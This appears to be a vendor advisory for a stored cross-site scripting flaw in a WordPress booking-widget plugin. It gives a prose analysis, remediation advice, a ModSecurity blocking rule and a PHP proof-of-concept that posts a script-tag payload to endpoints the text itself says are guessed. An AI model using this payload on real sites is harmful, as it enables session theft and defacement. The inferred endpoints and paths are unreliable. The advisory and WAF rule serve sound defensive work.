Atomic Edge analysis of CVE-2026-3003 (metadata-based):
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Vagaro Booking Widget WordPress plugin, affecting all versions up to and including 0.3. The vulnerability resides in the ‘vagaro_code’ parameter, allowing attackers to inject malicious scripts that execute when a user views a compromised page. The CVSS score of 7.2 (High) reflects its network-based attack vector, low attack complexity, and scope change impact.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping on the ‘vagaro_code’ parameter, consistent with CWE-79. The plugin likely accepts user input via a frontend form or AJAX request, stores it without proper validation, and later outputs it without escaping. This conclusion is inferred from the CWE classification and vulnerability description, as the source code is unavailable for confirmation.
Exploitation likely involves sending a POST or GET request containing a malicious JavaScript payload in the ‘vagaro_code’ parameter. The attack vector is unauthenticated, suggesting the vulnerable endpoint lacks capability checks. Based on WordPress plugin patterns, the endpoint could be an AJAX handler at `/wp-admin/admin-ajax.php` with an action derived from the plugin slug, or a direct form submission to a plugin-specific file. A typical payload would be `alert(document.domain)` or a more malicious script to steal session cookies.
Remediation requires implementing proper input validation and output escaping. The plugin should sanitize the ‘vagaro_code’ parameter on receipt using functions like `sanitize_text_field()` or `wp_kses()`. For output, the plugin must use context-appropriate escaping functions like `esc_html()` or `esc_js()` before rendering the stored value in a page. WordPress nonce verification and capability checks should also be added to prevent unauthorized access.
Successful exploitation leads to stored XSS, where arbitrary JavaScript executes in victims’ browsers. Attackers can hijack user sessions, deface websites, or redirect users to malicious sites. The scope change (S:C) in the CVSS vector indicates the vulnerability can impact users beyond the plugin’s own security scope, potentially compromising the entire WordPress site and its visitors.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3003 (metadata-based)
# This rule blocks exploitation of the stored XSS vulnerability in the Vagaro Booking Widget plugin.
# It targets the 'vagaro_code' parameter sent to the WordPress admin-ajax handler, a common endpoint for plugin functionality.
# The rule uses a chained approach to ensure precision: it must match the exact AJAX path and the specific parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:3003001,phase:2,deny,status:403,chain,msg:'CVE-2026-3003: Vagaro Booking Widget Stored XSS via vagaro_code AJAX',severity:'CRITICAL',tag:'CVE-2026-3003',tag:'WordPress',tag:'Plugin',tag:'XSS'"
SecRule ARGS_POST:vagaro_code "@rx <script[^>]*>"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,setvar:'tx.cve_2026_3003_blocked=1'"
# Optional secondary rule for direct file access, if the plugin uses a custom handler.
# This rule is commented out by default due to lower confidence in the exact file path.
# Uncomment and adjust the path if attack patterns indicate its use.
# SecRule REQUEST_URI "@beginsWith /wp-content/plugins/vagaro-booking-widget/"
# "id:3003002,phase:2,deny,status:403,chain,msg:'CVE-2026-3003: Vagaro Booking Widget Stored XSS via direct file access',severity:'CRITICAL',tag:'CVE-2026-3003',tag:'WordPress',tag:'Plugin',tag:'XSS'"
# SecRule ARGS:vagaro_code "@rx <script[^>]*>"
# "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3003 - Vagaro Booking Widget <= 0.3 - Unauthenticated Stored Cross-Site Scripting via 'vagaro_code'
<?php
/**
* Proof of Concept for CVE-2026-3003.
* This script attempts to exploit the stored XSS vulnerability by injecting a payload into the 'vagaro_code' parameter.
* The exact endpoint is inferred from common WordPress plugin patterns, as the vulnerable code is not publicly available.
* Two likely attack vectors are tested: a direct POST to an admin-ajax handler and a POST to a plugin-specific file.
*/
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS TO THE TARGET SITE
// Malicious JavaScript payload. In a real attack, this would be a session-stealing or redirect script.
$payload = '<script>alert("XSS via vagaro_code - CVE-2026-3003");</script>';
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing on HTTP sites
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Test Vector 1: Assume the plugin uses a standard wp_ajax_nopriv_ hook.
// The action name is inferred from the plugin slug 'vagaro-booking-widget'.
$post_data_v1 = array(
'action' => 'vagaro_booking_widget_action', // Common pattern: slug with underscores
'vagaro_code' => $payload
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data_v1);
$response_v1 = curl_exec($ch);
$http_code_v1 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Test Vector 2: Assume the plugin uses a custom admin-post or frontend form handler.
// Target a plugin-specific file, a common pattern in simple widgets.
$target_url_v2 = 'http://example.com/wp-content/plugins/vagaro-booking-widget/includes/save-settings.php'; // Inferred path
curl_setopt($ch, CURLOPT_URL, $target_url_v2);
$post_data_v2 = array('vagaro_code' => $payload);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data_v2);
$response_v2 = curl_exec($ch);
$http_code_v2 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output results
echo "Atomic Edge PoC for CVE-2026-3003n";
echo "Target: " . $target_url . "n";
echo "Payload: " . $payload . "nn";
echo "Vector 1 (AJAX) - HTTP Code: " . $http_code_v1 . "n";
echo "Vector 2 (Direct File) - HTTP Code: " . $http_code_v2 . "n";
echo "Note: A 200 response does not guarantee successful injection. Verify by browsing the site's frontend where the vagaro_code is displayed.n";
?>
